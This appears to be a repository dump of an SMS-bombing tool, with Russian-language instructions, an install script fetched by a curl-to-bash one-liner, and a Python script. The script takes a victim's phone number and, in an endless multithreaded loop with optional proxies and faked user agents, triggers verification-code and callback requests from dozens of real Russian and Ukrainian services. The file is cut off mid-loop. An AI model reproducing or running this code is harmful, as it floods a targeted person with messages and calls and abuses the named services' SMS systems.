├── LICENSE
├── README.md
├── install.sh
├── requirements.txt
├── spammer.py
└── version.txt
/LICENSE:
--------------------------------------------------------------------------------
1 | Mozilla Public License Version 2.0
2 | ==================================
3 |
4 | 1. Definitions
5 | --------------
6 |
7 | 1.1. "Contributor"
8 | means each individual or legal entity that creates, contributes to
9 | the creation of, or owns Covered Software.
10 |
11 | 1.2. "Contributor Version"
12 | means the combination of the Contributions of others (if any) used
13 | by a Contributor and that particular Contributor's Contribution.
14 |
15 | 1.3. "Contribution"
16 | means Covered Software of a particular Contributor.
17 |
18 | 1.4. "Covered Software"
19 | means Source Code Form to which the initial Contributor has attached
20 | the notice in Exhibit A, the Executable Form of such Source Code
21 | Form, and Modifications of such Source Code Form, in each case
22 | including portions thereof.
23 |
24 | 1.5. "Incompatible With Secondary Licenses"
25 | means
26 |
27 | (a) that the initial Contributor has attached the notice described
28 | in Exhibit B to the Covered Software; or
29 |
30 | (b) that the Covered Software was made available under the terms of
31 | version 1.1 or earlier of the License, but not also under the
32 | terms of a Secondary License.
33 |
34 | 1.6. "Executable Form"
35 | means any form of the work other than Source Code Form.
36 |
37 | 1.7. "Larger Work"
38 | means a work that combines Covered Software with other material, in
39 | a separate file or files, that is not Covered Software.
40 |
41 | 1.8. "License"
42 | means this document.
43 |
44 | 1.9. "Licensable"
45 | means having the right to grant, to the maximum extent possible,
46 | whether at the time of the initial grant or subsequently, any and
47 | all of the rights conveyed by this License.
48 |
49 | 1.10. "Modifications"
50 | means any of the following:
51 |
52 | (a) any file in Source Code Form that results from an addition to,
53 | deletion from, or modification of the contents of Covered
54 | Software; or
55 |
56 | (b) any new file in Source Code Form that contains any Covered
57 | Software.
58 |
59 | 1.11. "Patent Claims" of a Contributor
60 | means any patent claim(s), including without limitation, method,
61 | process, and apparatus claims, in any patent Licensable by such
62 | Contributor that would be infringed, but for the grant of the
63 | License, by the making, using, selling, offering for sale, having
64 | made, import, or transfer of either its Contributions or its
65 | Contributor Version.
66 |
67 | 1.12. "Secondary License"
68 | means either the GNU General Public License, Version 2.0, the GNU
69 | Lesser General Public License, Version 2.1, the GNU Affero General
70 | Public License, Version 3.0, or any later versions of those
71 | licenses.
72 |
73 | 1.13. "Source Code Form"
74 | means the form of the work preferred for making modifications.
75 |
76 | 1.14. "You" (or "Your")
77 | means an individual or a legal entity exercising rights under this
78 | License. For legal entities, "You" includes any entity that
79 | controls, is controlled by, or is under common control with You. For
80 | purposes of this definition, "control" means (a) the power, direct
81 | or indirect, to cause the direction or management of such entity,
82 | whether by contract or otherwise, or (b) ownership of more than
83 | fifty percent (50%) of the outstanding shares or beneficial
84 | ownership of such entity.
85 |
86 | 2. License Grants and Conditions
87 | --------------------------------
88 |
89 | 2.1. Grants
90 |
91 | Each Contributor hereby grants You a world-wide, royalty-free,
92 | non-exclusive license:
93 |
94 | (a) under intellectual property rights (other than patent or trademark)
95 | Licensable by such Contributor to use, reproduce, make available,
96 | modify, display, perform, distribute, and otherwise exploit its
97 | Contributions, either on an unmodified basis, with Modifications, or
98 | as part of a Larger Work; and
99 |
100 | (b) under Patent Claims of such Contributor to make, use, sell, offer
101 | for sale, have made, import, and otherwise transfer either its
102 | Contributions or its Contributor Version.
103 |
104 | 2.2. Effective Date
105 |
106 | The licenses granted in Section 2.1 with respect to any Contribution
107 | become effective for each Contribution on the date the Contributor first
108 | distributes such Contribution.
109 |
110 | 2.3. Limitations on Grant Scope
111 |
112 | The licenses granted in this Section 2 are the only rights granted under
113 | this License. No additional rights or licenses will be implied from the
114 | distribution or licensing of Covered Software under this License.
115 | Notwithstanding Section 2.1(b) above, no patent license is granted by a
116 | Contributor:
117 |
118 | (a) for any code that a Contributor has removed from Covered Software;
119 | or
120 |
121 | (b) for infringements caused by: (i) Your and any other third party's
122 | modifications of Covered Software, or (ii) the combination of its
123 | Contributions with other software (except as part of its Contributor
124 | Version); or
125 |
126 | (c) under Patent Claims infringed by Covered Software in the absence of
127 | its Contributions.
128 |
129 | This License does not grant any rights in the trademarks, service marks,
130 | or logos of any Contributor (except as may be necessary to comply with
131 | the notice requirements in Section 3.4).
132 |
133 | 2.4. Subsequent Licenses
134 |
135 | No Contributor makes additional grants as a result of Your choice to
136 | distribute the Covered Software under a subsequent version of this
137 | License (see Section 10.2) or under the terms of a Secondary License (if
138 | permitted under the terms of Section 3.3).
139 |
140 | 2.5. Representation
141 |
142 | Each Contributor represents that the Contributor believes its
143 | Contributions are its original creation(s) or it has sufficient rights
144 | to grant the rights to its Contributions conveyed by this License.
145 |
146 | 2.6. Fair Use
147 |
148 | This License is not intended to limit any rights You have under
149 | applicable copyright doctrines of fair use, fair dealing, or other
150 | equivalents.
151 |
152 | 2.7. Conditions
153 |
154 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
155 | in Section 2.1.
156 |
157 | 3. Responsibilities
158 | -------------------
159 |
160 | 3.1. Distribution of Source Form
161 |
162 | All distribution of Covered Software in Source Code Form, including any
163 | Modifications that You create or to which You contribute, must be under
164 | the terms of this License. You must inform recipients that the Source
165 | Code Form of the Covered Software is governed by the terms of this
166 | License, and how they can obtain a copy of this License. You may not
167 | attempt to alter or restrict the recipients' rights in the Source Code
168 | Form.
169 |
170 | 3.2. Distribution of Executable Form
171 |
172 | If You distribute Covered Software in Executable Form then:
173 |
174 | (a) such Covered Software must also be made available in Source Code
175 | Form, as described in Section 3.1, and You must inform recipients of
176 | the Executable Form how they can obtain a copy of such Source Code
177 | Form by reasonable means in a timely manner, at a charge no more
178 | than the cost of distribution to the recipient; and
179 |
180 | (b) You may distribute such Executable Form under the terms of this
181 | License, or sublicense it under different terms, provided that the
182 | license for the Executable Form does not attempt to limit or alter
183 | the recipients' rights in the Source Code Form under this License.
184 |
185 | 3.3. Distribution of a Larger Work
186 |
187 | You may create and distribute a Larger Work under terms of Your choice,
188 | provided that You also comply with the requirements of this License for
189 | the Covered Software. If the Larger Work is a combination of Covered
190 | Software with a work governed by one or more Secondary Licenses, and the
191 | Covered Software is not Incompatible With Secondary Licenses, this
192 | License permits You to additionally distribute such Covered Software
193 | under the terms of such Secondary License(s), so that the recipient of
194 | the Larger Work may, at their option, further distribute the Covered
195 | Software under the terms of either this License or such Secondary
196 | License(s).
197 |
198 | 3.4. Notices
199 |
200 | You may not remove or alter the substance of any license notices
201 | (including copyright notices, patent notices, disclaimers of warranty,
202 | or limitations of liability) contained within the Source Code Form of
203 | the Covered Software, except that You may alter any license notices to
204 | the extent required to remedy known factual inaccuracies.
205 |
206 | 3.5. Application of Additional Terms
207 |
208 | You may choose to offer, and to charge a fee for, warranty, support,
209 | indemnity or liability obligations to one or more recipients of Covered
210 | Software. However, You may do so only on Your own behalf, and not on
211 | behalf of any Contributor. You must make it absolutely clear that any
212 | such warranty, support, indemnity, or liability obligation is offered by
213 | You alone, and You hereby agree to indemnify every Contributor for any
214 | liability incurred by such Contributor as a result of warranty, support,
215 | indemnity or liability terms You offer. You may include additional
216 | disclaimers of warranty and limitations of liability specific to any
217 | jurisdiction.
218 |
219 | 4. Inability to Comply Due to Statute or Regulation
220 | ---------------------------------------------------
221 |
222 | If it is impossible for You to comply with any of the terms of this
223 | License with respect to some or all of the Covered Software due to
224 | statute, judicial order, or regulation then You must: (a) comply with
225 | the terms of this License to the maximum extent possible; and (b)
226 | describe the limitations and the code they affect. Such description must
227 | be placed in a text file included with all distributions of the Covered
228 | Software under this License. Except to the extent prohibited by statute
229 | or regulation, such description must be sufficiently detailed for a
230 | recipient of ordinary skill to be able to understand it.
231 |
232 | 5. Termination
233 | --------------
234 |
235 | 5.1. The rights granted under this License will terminate automatically
236 | if You fail to comply with any of its terms. However, if You become
237 | compliant, then the rights granted under this License from a particular
238 | Contributor are reinstated (a) provisionally, unless and until such
239 | Contributor explicitly and finally terminates Your grants, and (b) on an
240 | ongoing basis, if such Contributor fails to notify You of the
241 | non-compliance by some reasonable means prior to 60 days after You have
242 | come back into compliance. Moreover, Your grants from a particular
243 | Contributor are reinstated on an ongoing basis if such Contributor
244 | notifies You of the non-compliance by some reasonable means, this is the
245 | first time You have received notice of non-compliance with this License
246 | from such Contributor, and You become compliant prior to 30 days after
247 | Your receipt of the notice.
248 |
249 | 5.2. If You initiate litigation against any entity by asserting a patent
250 | infringement claim (excluding declaratory judgment actions,
251 | counter-claims, and cross-claims) alleging that a Contributor Version
252 | directly or indirectly infringes any patent, then the rights granted to
253 | You by any and all Contributors for the Covered Software under Section
254 | 2.1 of this License shall terminate.
255 |
256 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all
257 | end user license agreements (excluding distributors and resellers) which
258 | have been validly granted by You or Your distributors under this License
259 | prior to termination shall survive termination.
260 |
261 | ************************************************************************
262 | * *
263 | * 6. Disclaimer of Warranty *
264 | * ------------------------- *
265 | * *
266 | * Covered Software is provided under this License on an "as is" *
267 | * basis, without warranty of any kind, either expressed, implied, or *
268 | * statutory, including, without limitation, warranties that the *
269 | * Covered Software is free of defects, merchantable, fit for a *
270 | * particular purpose or non-infringing. The entire risk as to the *
271 | * quality and performance of the Covered Software is with You. *
272 | * Should any Covered Software prove defective in any respect, You *
273 | * (not any Contributor) assume the cost of any necessary servicing, *
274 | * repair, or correction. This disclaimer of warranty constitutes an *
275 | * essential part of this License. No use of any Covered Software is *
276 | * authorized under this License except under this disclaimer. *
277 | * *
278 | ************************************************************************
279 |
280 | ************************************************************************
281 | * *
282 | * 7. Limitation of Liability *
283 | * -------------------------- *
284 | * *
285 | * Under no circumstances and under no legal theory, whether tort *
286 | * (including negligence), contract, or otherwise, shall any *
287 | * Contributor, or anyone who distributes Covered Software as *
288 | * permitted above, be liable to You for any direct, indirect, *
289 | * special, incidental, or consequential damages of any character *
290 | * including, without limitation, damages for lost profits, loss of *
291 | * goodwill, work stoppage, computer failure or malfunction, or any *
292 | * and all other commercial damages or losses, even if such party *
293 | * shall have been informed of the possibility of such damages. This *
294 | * limitation of liability shall not apply to liability for death or *
295 | * personal injury resulting from such party's negligence to the *
296 | * extent applicable law prohibits such limitation. Some *
297 | * jurisdictions do not allow the exclusion or limitation of *
298 | * incidental or consequential damages, so this exclusion and *
299 | * limitation may not apply to You. *
300 | * *
301 | ************************************************************************
302 |
303 | 8. Litigation
304 | -------------
305 |
306 | Any litigation relating to this License may be brought only in the
307 | courts of a jurisdiction where the defendant maintains its principal
308 | place of business and such litigation shall be governed by laws of that
309 | jurisdiction, without reference to its conflict-of-law provisions.
310 | Nothing in this Section shall prevent a party's ability to bring
311 | cross-claims or counter-claims.
312 |
313 | 9. Miscellaneous
314 | ----------------
315 |
316 | This License represents the complete agreement concerning the subject
317 | matter hereof. If any provision of this License is held to be
318 | unenforceable, such provision shall be reformed only to the extent
319 | necessary to make it enforceable. Any law or regulation which provides
320 | that the language of a contract shall be construed against the drafter
321 | shall not be used to construe this License against a Contributor.
322 |
323 | 10. Versions of the License
324 | ---------------------------
325 |
326 | 10.1. New Versions
327 |
328 | Mozilla Foundation is the license steward. Except as provided in Section
329 | 10.3, no one other than the license steward has the right to modify or
330 | publish new versions of this License. Each version will be given a
331 | distinguishing version number.
332 |
333 | 10.2. Effect of New Versions
334 |
335 | You may distribute the Covered Software under the terms of the version
336 | of the License under which You originally received the Covered Software,
337 | or under the terms of any subsequent version published by the license
338 | steward.
339 |
340 | 10.3. Modified Versions
341 |
342 | If you create software not governed by this License, and you want to
343 | create a new license for such software, you may create and use a
344 | modified version of this License if you rename the license and remove
345 | any references to the name of the license steward (except to note that
346 | such modified license differs from this License).
347 |
348 | 10.4. Distributing Source Code Form that is Incompatible With Secondary
349 | Licenses
350 |
351 | If You choose to distribute Source Code Form that is Incompatible With
352 | Secondary Licenses under the terms of this version of the License, the
353 | notice described in Exhibit B of this License must be attached.
354 |
355 | Exhibit A - Source Code Form License Notice
356 | -------------------------------------------
357 |
358 | This Source Code Form is subject to the terms of the Mozilla Public
359 | License, v. 2.0. If a copy of the MPL was not distributed with this
360 | file, You can obtain one at http://mozilla.org/MPL/2.0/.
361 |
362 | If it is not possible or desirable to put the notice in a particular
363 | file, then You may include the notice in a location (such as a LICENSE
364 | file in a relevant directory) where a recipient would be likely to look
365 | for such a notice.
366 |
367 | You may add additional accurate notices of copyright ownership.
368 |
369 | Exhibit B - "Incompatible With Secondary Licenses" Notice
370 | ---------------------------------------------------------
371 |
372 | This Source Code Form is "Incompatible With Secondary Licenses", as
373 | defined by the Mozilla Public License, v. 2.0.
374 |
375 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [](https://github.com/cludeex/spammer)
2 | [](https://github.com/cludeex/spammer)
3 | [](https://github.com/cludeex/spammer)
4 | # Установка
5 | $ `bash <(curl -L git.io/spammer)`
6 | # Запуск
7 | $ `spammer`
8 | # Лицензия
9 | Проект распространяется под лицензией [Mozilla Public License 2.0](https://github.com/cludeex/spammer/blob/master/LICENSE). Скачивая программное обеспечение из [этого](https://github.com/cludeex/spammer) репозитория, вы соглашаетесь с ней.
10 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | clear
3 | if [ -d /data/data/com.termux/files/usr/ ]; then
4 | distro=termux
5 | elif [ -e /usr/local/bin/brew ]; then
6 | distro=darwin
7 | else
8 | distro=$(ls /etc | awk 'match($0, "(.+?)[-_](?:release|version)", groups) {if(groups[1] != "os") {print groups[1]}}')
9 | if [ -z $distro ]; then
10 | distro=$(source /etc/os-release && echo $ID)
11 | fi
12 | fi
13 | bin="/usr/bin"
14 | python="python3"
15 | sudo="sudo"
16 | if [ $distro = arch ]; then
17 | install="pacman -S --noconfirm"
18 | elif [ $distro = debian ]; then
19 | install="apt-get -y install"
20 | elif [ $distro = ubuntu ]; then
21 | install="apt -y install"
22 | elif [ $distro = termux ]; then
23 | install="apt -y install"
24 | bin="$PREFIX/bin"
25 | python="python"
26 | sudo=""
27 | elif [ $distro = fedora ] || [ $distro = redhat ]; then
28 | install="yum -y install"
29 | elif [ $distro = SuSE ] || [ $distro = sles ]; then
30 | install="zypper -n install"
31 | elif [ $distro = darwin ]; then
32 | install="brew install"
33 | bin="/usr/local/bin"
34 | elif [ $distro = alpine ]; then
35 | install="apk add"
36 | sudo=""
37 | pip="py3-pip"
38 | fi
39 | if [ -z $pip ] && [ $distro != termux ]; then
40 | pip=$python-pip
41 | fi
42 | $sudo $install git $python $pip
43 | git clone https://github.com/cludeex/spammer
44 | $python -m pip install -r spammer/requirements.txt
45 | $sudo cp spammer/spammer.py $bin/spammer
46 | $sudo chmod +x $bin/spammer
47 | $sudo rm -rf spammer
48 | spammer
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | colorama
2 | requests
3 | user_agent
4 |
--------------------------------------------------------------------------------
/spammer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | from os import name, system
4 | from os.path import exists, isfile
5 | from random import choice, randint
6 | from threading import Thread
7 | from time import sleep
8 | from colorama import Fore, Style
9 | from requests import get, post
10 | from user_agent import generate_user_agent
11 |
12 |
13 | def banner():
14 | system("cls" if name == "nt" else "clear")
15 | print(BRIGHT + GREEN)
16 | print(r" ___ ___ _ __ __ __ __ ___ ___ ")
17 | print(r" / __| _ \/_\ | \/ | \/ | __| _ \ ")
18 | print(r" \__ \ _/ _ \| |\/| | |\/| | _|| / ")
19 | print(r" |___/_|/_/ \_\_| |_|_| |_|___|_|_\ ")
20 | print()
21 | print(r" Spammer: github.com/cludeex ")
22 | print(RESET_ALL)
23 |
24 |
25 | def main():
26 | banner()
27 | print("[1] СМС СПАМЕР.")
28 | print("[2] ОБНОВИТЬ СПАМЕР.")
29 | print("[3] ВЫХОД.")
30 | print()
31 | number = input(f"{BRIGHT}{BLUE}Введите номер пункта: {RESET_ALL}")
32 | if number == "1":
33 | spam_handler()
34 | elif number == "2":
35 | update()
36 | elif number == "3":
37 | print()
38 | exit()
39 | else:
40 | print(f"\n{BRIGHT}{RED}[*] Номер пункта введён неверно!{RESET_ALL}")
41 | sleep(1)
42 | main()
43 |
44 |
45 | def spam_handler():
46 | check_internet()
47 | check_version()
48 | banner()
49 | print("Введите номер телефона")
50 | phone = parse_phone(input(f"{BRIGHT}{BLUE}spammer >> {RESET_ALL}"))
51 | print()
52 | print("Использовать прокси? (y/n)")
53 | proxy = input(f"{BRIGHT}{BLUE}spammer >> {RESET_ALL}")
54 | if proxy.lower() == "y":
55 | proxies = generate_proxy()
56 | else:
57 | proxies = None
58 | print()
59 | print("Введите кол-во потоков")
60 | threads = input(f"{BRIGHT}{BLUE}spammer >> {RESET_ALL}")
61 | if threads in ["", " ", "0"]:
62 | threads = "1"
63 | try:
64 | if int(threads) > 10:
65 | threads = "10"
66 | except ValueError:
67 | threads = "1"
68 | banner()
69 | print(f"Телефон: {BRIGHT}{BLUE}{phone}{RESET_ALL}")
70 | print("Спамер запущен", end="\n")
71 | print(f"{BRIGHT}{RED}[*] Ctrl+Z для остановки{RESET_ALL}")
72 | for _ in range(int(threads)):
73 | Thread(target=start_spam, args=(phone, proxies)).start()
74 |
75 |
76 | def start_spam(phone, proxies):
77 | def format_phone(phone, phone_mask):
78 | phone_list = list(phone)
79 | for i in phone_list:
80 | phone_mask = phone_mask.replace("#", i, 1)
81 | return phone_mask
82 |
83 | name = ""
84 | for _ in range(12):
85 | name += choice("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM")
86 | password = name + choice("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM")
87 | email = name + "@gmail.com"
88 | phone9 = phone[1:]
89 | headers = {"User-Agent": generate_user_agent()}
90 | while True:
91 | try:
92 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
93 | post("https://zoloto585.ru/api/bcard/reg/", json={"name": "", "surname": "", "patronymic": "", "sex": "m", "birthdate": "..", "phone": formatted_phone, "email": "", "city": ""}, headers=headers, proxies=proxies)
94 | except:
95 | pass
96 | try:
97 | formatted_phone = format_phone(phone[1:], "8(###)###-##-##")
98 | post("http://xn---72-5cdaa0cclp5fkp4ewc.xn--p1ai/user_account/ajax222.php?do=sms_code", data={"phone": formatted_phone}, headers=headers, proxies=proxies)
99 | except:
100 | pass
101 | try:
102 | post("https://youla.ru/web-api/auth/request_code", data={"phone": phone}, headers=headers, proxies=proxies)
103 | except:
104 | pass
105 | try:
106 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
107 | post("https://yaponchik.net/login/login.php", data={"login": "Y", "countdown": "0", "step": "phone", "redirect": "/profile/", "phone": formatted_phone, "code": ""}, headers=headers, proxies=proxies)
108 | except:
109 | pass
110 | try:
111 | post("https://eda.yandex/api/v1/user/request_authentication_code", json={"phone_number": "+" + phone}, headers=headers, proxies=proxies)
112 | except:
113 | pass
114 | try:
115 | post("https://api.iconjob.co/api/auth/verification_code", json={"phone": phone}, headers=headers, proxies=proxies)
116 | except:
117 | pass
118 | try:
119 | post("https://cabinet.wi-fi.ru/api/auth/by-sms", data={"msisdn": phone}, headers=headers, proxies=proxies)
120 | except:
121 | pass
122 | try:
123 | post("https://ng-api.webbankir.com/user/v2/create", json={"lastName": "иванов", "firstName": "иван", "middleName": "иванович", "mobilePhone": phone, "email": email, "smsCode": ""}, headers=headers, proxies=proxies)
124 | except:
125 | pass
126 | try:
127 | post("https://shop.vsk.ru/ajax/auth/postSms/", data={"phone": phone}, headers=headers, proxies=proxies)
128 | except:
129 | pass
130 | try:
131 | post("https://passport.twitch.tv/register?trusted_request=true", json={"birthday": {"day": 11, "month": 11, "year": 1999}, "client_id": "kd1unb4b3q4t58fwlpcbzcbnm76a8fp", "include_verification_code": True, "password": password, "phone_number": phone, "username": name}, headers=headers, proxies=proxies)
132 | except:
133 | pass
134 | try:
135 | post("https://b.utair.ru/api/v1/login/", json={"login": phone, "confirmation_type": "call_code"}, headers=headers, proxies=proxies)
136 | except:
137 | pass
138 | try:
139 | formatted_phone = format_phone(phone, "#(###)###-##-##")
140 | post("https://www.r-ulybka.ru/login/form_ajax.php", data={"action": "auth", "phone": formatted_phone}, headers=headers, proxies=proxies)
141 | except:
142 | pass
143 | try:
144 | post("https://uklon.com.ua/api/v1/account/code/send", headers={"client_id": "6289de851fc726f887af8d5d7a56c635", "User-Agent": generate_user_agent()}, json={"phone": phone}, proxies=proxies)
145 | except:
146 | pass
147 | try:
148 | post("https://partner.uklon.com.ua/api/v1/registration/sendcode", headers={"client_id": "6289de851fc726f887af8d5d7a56c635", "User-Agent": generate_user_agent()}, json={"phone": phone}, proxies=proxies)
149 | except:
150 | pass
151 | try:
152 | post("https://secure.ubki.ua/b2_api_xml/ubki/auth", json={"doc": {"auth": {"mphone": "+" + phone, "bdate": "11.11.1999", "deviceid": "00100", "version": "1.0", "source": "site", "signature": "undefined"}}}, headers={"Accept": "application/json", "User-Agent": generate_user_agent()}, proxies=proxies)
153 | except:
154 | pass
155 | try:
156 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
157 | post("https://www.top-shop.ru/login/loginByPhone/", data={"phone": formatted_phone}, headers=headers, proxies=proxies)
158 | except:
159 | pass
160 | try:
161 | formatted_phone = format_phone(phone, "8(###)###-##-##")
162 | post("https://topbladebar.ru/user_account/ajax222.php?do=sms_code", data={"phone": formatted_phone}, headers=headers, proxies=proxies)
163 | except:
164 | pass
165 | try:
166 | post("https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", data={"phone_number": phone}, headers=headers, proxies=proxies)
167 | except:
168 | pass
169 | try:
170 | post("https://m.tiktok.com/node-a/send/download_link", json={"slideVerify": 0, "language": "ru", "PhoneRegionCode": "7", "Mobile": phone9, "page": {"pageName": "home", "launchMode": "direct", "trafficType": ""}}, headers=headers, proxies=proxies)
171 | except:
172 | pass
173 | try:
174 | post("https://thehive.pro/auth/signup", json={"phone": "+" + phone}, headers=headers, proxies=proxies)
175 | except:
176 | pass
177 | try:
178 | post(f"https://msk.tele2.ru/api/validation/number/{phone}", json={"sender": "Tele2"}, headers=headers, proxies=proxies)
179 | except:
180 | pass
181 | try:
182 | formatted_phone = format_phone(phone, "+# (###) ### - ## - ##")
183 | post("https://www.taxi-ritm.ru/ajax/ppp/ppp_back_call.php", data={"RECALL": "Y", "BACK_CALL_PHONE": formatted_phone}, headers=headers, proxies=proxies)
184 | except:
185 | pass
186 | try:
187 | post("https://www.tarantino-family.com/wp-admin/admin-ajax.php", data={"action": "callback_phonenumber", "phone": phone}, headers=headers, proxies=proxies)
188 | except:
189 | pass
190 | try:
191 | post("https://lk.tabris.ru/reg/", data={"action": "phone", "phone": phone}, headers=headers, proxies=proxies)
192 | except:
193 | pass
194 | try:
195 | post("https://tabasko.su/", data={"IS_AJAX": "Y", "COMPONENT_NAME": "AUTH", "ACTION": "GET_CODE", "LOGIN": phone}, headers=headers, proxies=proxies)
196 | except:
197 | pass
198 | try:
199 | post("https://www.sushi-profi.ru/api/order/order-call/", json={"phone": phone9, "name": name}, headers=headers, proxies=proxies)
200 | except:
201 | pass
202 | try:
203 | post("https://client-api.sushi-master.ru/api/v1/auth/init", json={"phone": phone}, headers=headers, proxies=proxies)
204 | except:
205 | pass
206 | try:
207 | formatted_phone = format_phone(phone9, "8(###)###-##-##")
208 | post("https://xn--80aaispoxqe9b.xn--p1ai/user_account/ajax.php?do=sms_code", data={"phone": formatted_phone}, headers=headers, proxies=proxies)
209 | except:
210 | pass
211 | try:
212 | formatted_phone = format_phone(phone9, "8 (###) ###-##-##")
213 | post("http://sushigourmet.ru/auth", data={"phone": formatted_phone, "stage": 1}, headers=headers, proxies=proxies)
214 | except:
215 | pass
216 | try:
217 | post("https://sushifuji.ru/sms_send_ajax.php", data={"name": "false", "phone": phone}, headers=headers, proxies=proxies)
218 | except:
219 | pass
220 | try:
221 | post("https://api.sunlight.net/v3/customers/authorization/", data={"phone": phone}, headers=headers, proxies=proxies)
222 | except:
223 | pass
224 | try:
225 | get("https://suandshi.ru/mobile_api/register_mobile_user", params={"phone": phone}, headers=headers, proxies=proxies)
226 | except:
227 | pass
228 | try:
229 | formatted_phone = format_phone(phone9, "8-###-###-##-##")
230 | post("https://pizzasushiwok.ru/index.php", data={"mod_name": "registration", "tpl": "restore_password", "phone": formatted_phone}, headers=headers, proxies=proxies)
231 | except:
232 | pass
233 | try:
234 | get("https://www.sportmaster.ua/", params={"module": "users", "action": "SendSMSReg", "phone": phone}, headers=headers, proxies=proxies)
235 | except:
236 | pass
237 | try:
238 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
239 | get("https://www.sportmaster.ru/user/session/sendSmsCode.do", params={"phone": formatted_phone}, headers=headers, proxies=proxies)
240 | except:
241 | pass
242 | try:
243 | post("https://www.sms4b.ru/bitrix/components/sms4b/sms.demo/ajax.php", data={"demo_number": "+" + phone, "ajax_demo_send": "1"}, headers=headers, proxies=proxies)
244 | except:
245 | pass
246 | try:
247 | post("https://smart.space/api/users/request_confirmation_code/", json={"mobile": "+" + phone, "action": "confirm_mobile"}, headers=headers, proxies=proxies)
248 | except:
249 | pass
250 | try:
251 | post("https://shopandshow.ru/sms/password-request/", data={"phone": "+" + phone, "resend": 0}, headers=headers, proxies=proxies)
252 | except:
253 | pass
254 | try:
255 | post("https://shafa.ua/api/v3/graphiql", json={"operationName": "RegistrationSendSms", "variables": {"phoneNumber": "+" + phone}, "query": "mutation RegistrationSendSms($phoneNumber: String!) {\n unauthorizedSendSms(phoneNumber: $phoneNumber) {\n isSuccess\n userToken\n errors {\n field\n messages {\n message\n code\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"}, headers=headers, proxies=proxies)
256 | except:
257 | pass
258 | try:
259 | post("https://shafa.ua/api/v3/graphiql", json={"operationName": "sendResetPasswordSms", "variables": {"phoneNumber": "+" + phone}, "query": "mutation sendResetPasswordSms($phoneNumber: String!) {\n resetPasswordSendSms(phoneNumber: $phoneNumber) {\n isSuccess\n userToken\n errors {\n ...errorsData\n __typename\n }\n __typename\n }\n}\n\nfragment errorsData on GraphResponseError {\n field\n messages {\n code\n message\n __typename\n }\n __typename\n}\n"}, headers=headers, proxies=proxies)
260 | except:
261 | pass
262 | try:
263 | post("https://sayoris.ru/?route=parse/whats", data={"phone": phone}, headers=headers, proxies=proxies)
264 | except:
265 | pass
266 | try:
267 | post("https://api.saurisushi.ru/Sauri/api/v2/auth/login", data={"data": {"login": phone9, "check": True, "crypto": {"captcha": "739699"}}}, headers=headers, proxies=proxies)
268 | except:
269 | pass
270 | try:
271 | post("https://pass.rutube.ru/api/accounts/phone/send-password/", json={"phone": "+" + phone}, headers=headers, proxies=proxies)
272 | except:
273 | pass
274 | try:
275 | post("https://rutaxi.ru/ajax_auth.html", data={"l": phone9, "c": "3"}, headers=headers, proxies=proxies)
276 | except:
277 | pass
278 | try:
279 | post("https://rieltor.ua/api/users/register-sms/", json={"phone": phone, "retry": 0}, headers=headers, proxies=proxies)
280 | except:
281 | pass
282 | try:
283 | post("https://richfamily.ru/ajax/sms_activities/sms_validate_phone.php", data={"phone": "+" + phone}, headers=headers, proxies=proxies)
284 | except:
285 | pass
286 | try:
287 | formatted_phone = format_phone(phone, "+#(###)###-##-##")
288 | post("https://www.rendez-vous.ru/ajax/SendPhoneConfirmationNew/", data={"phone": formatted_phone, "alien": "0"}, headers=headers, proxies=proxies)
289 | except:
290 | pass
291 | try:
292 | get("https://oapi.raiffeisen.ru/api/sms-auth/public/v1.0/phone/code", params={"number": phone}, headers=headers, proxies=proxies)
293 | except:
294 | pass
295 | try:
296 | post("https://qlean.ru/clients-api/v2/sms_codes/auth/request_code", json={"phone": phone}, headers=headers, proxies=proxies)
297 | except:
298 | pass
299 | try:
300 | formatted_phone = format_phone(phone, "+#-###-###-##-##")
301 | post("https://api.pozichka.ua/v1/registration/send", json={"RegisterSendForm": {"phone": formatted_phone}}, headers=headers, proxies=proxies)
302 | except:
303 | pass
304 | try:
305 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
306 | post("https://pliskov.ru/Cube.MoneyRent.Orchard.RentRequest/PhoneConfirmation/SendCode", data={"phone": formatted_phone}, headers=headers, proxies=proxies)
307 | except:
308 | pass
309 | try:
310 | get("https://cabinet.planetakino.ua/service/sms", params={"phone": phone}, headers=headers, proxies=proxies)
311 | except:
312 | pass
313 | try:
314 | formatted_phone = format_phone(phone9, "8-###-###-##-##")
315 | post("https://pizzasushiwok.ru/index.php", data={"mod_name": "call_me", "task": "request_call", "name": name, "phone": formatted_phone}, headers=headers, proxies=proxies)
316 | except:
317 | pass
318 | try:
319 | post("https://pizzasinizza.ru/api/phoneCode.php", json={"phone": phone9}, headers=headers, proxies=proxies)
320 | except:
321 | pass
322 | try:
323 | post("https://pizzakazan.com/auth/ajax.php", data={"phone": "+" + phone, "method": "sendCode"}, headers=headers, proxies=proxies)
324 | except:
325 | pass
326 | try:
327 | formatted_phone = format_phone(phone, "+# (###) ###-####")
328 | post("https://pizza46.ru/ajaxGet.php", data={"phone": formatted_phone}, headers=headers, proxies=proxies)
329 | except:
330 | pass
331 | try:
332 | post("https://piroginomerodin.ru/index.php?route=sms/login/sendreg", data={"telephone": "+" + phone}, headers=headers, proxies=proxies)
333 | except:
334 | pass
335 | try:
336 | formatted_phone = format_phone(phone, "+#-###-###-##-##")
337 | post("https://paylate.ru/registry", data={"mobile": formatted_phone, "first_name": name, "last_name": name, "nick_name": name, "gender-client": 1, "email": email, "action": "registry"}, headers=headers, proxies=proxies)
338 | except:
339 | pass
340 | try:
341 | post("https://www.panpizza.ru/index.php?route=account/customer/sendSMSCode", data={"telephone": "8" + phone9}, headers=headers, proxies=proxies)
342 | except:
343 | pass
344 | try:
